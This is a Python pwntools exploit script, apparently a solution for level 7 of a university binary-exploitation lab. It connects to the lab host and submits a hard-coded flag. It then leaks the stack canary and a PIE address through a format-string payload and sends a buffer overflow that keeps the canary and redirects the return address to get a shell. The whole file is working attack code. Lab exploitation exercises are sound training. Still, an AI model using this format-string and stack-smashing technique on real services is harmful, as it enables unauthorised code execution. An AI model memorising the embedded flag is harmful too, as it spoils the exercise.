#!/usr/bin/env python3
from pwn import *

BINARY = "./level7"
HOST, PORT = "binexp.stud12.hacklab.ias.tu-bs.de", 4007
#HOST, PORT = "localhost", 4007

elf = ELF(BINARY, checksec=False)

def main():
    # 1) start remote
    p = remote(HOST, PORT)

    # 2) read the question
    question = p.recvline(timeout=2)
    print("[+] question:", question.decode().strip())

    question = p.recvline(timeout=2)
    print("[+] question:", question.decode().strip())

    payload = "hacklab{st4ck_c00k1es_w0nt_5top_y0u_G0HNiuT0}"
    p.sendline(payload.encode())
    print("sending: ", end='')
    print(payload)

    question = p.recvline(timeout=2)
    print("[+] question:", question.decode().strip())

    question = p.recvline(timeout=2)
    print("[+] question:", question.decode().strip())

    ##############

    question = p.recv(timeout=999)
    print("[+] got username prompt:", question.decode().strip())

    # 3) build payload
    #offset = 32
    win    = elf.symbols['win']
    #payload  = b"A"*offset
    #payload += 0xa6#p64(win)
    #payload += b"\n"
    payload = "%7$p %9$p"
    p.sendline(payload.encode())
    print("sending: ", end='')
    print(payload)

    leak = p.recvline(timeout=999)
    print("[+] leak:", leak)
    canary  = int(leak[-35:-17],16)
    pieaddr = int(leak[-16:-2],16)
    print("[+] canary:", hex(canary))
    print("[+] pieaddr:", hex(pieaddr))

    question = p.recv(timeout=999)
    print("[+] got username prompt:", question.decode().strip())

    p.sendline("admin".encode())
    print("sending username \"admin\"")

    question = p.recvline(timeout=999)
    print("[+] got username msg:", question.decode().strip())

    question = p.recv(timeout=999)
    print("[+] got password prompt:", question.decode().strip())

    payload  = b"A"*40
    payload += p64(canary)
    payload += p64(pieaddr & 0xFFFFFFFFFFFFF000)
    payload += p64((pieaddr & 0xFFFFFFFFFFFFF000)+0x229)
    p.sendline(payload)
    print("sending payload: ", payload)

    question = p.recvline(timeout=999)
    print("[+] got login msg:", question.decode().strip())


    # 5) we should now have a shell
    p.interactive()

if __name__ == "__main__":
    main()
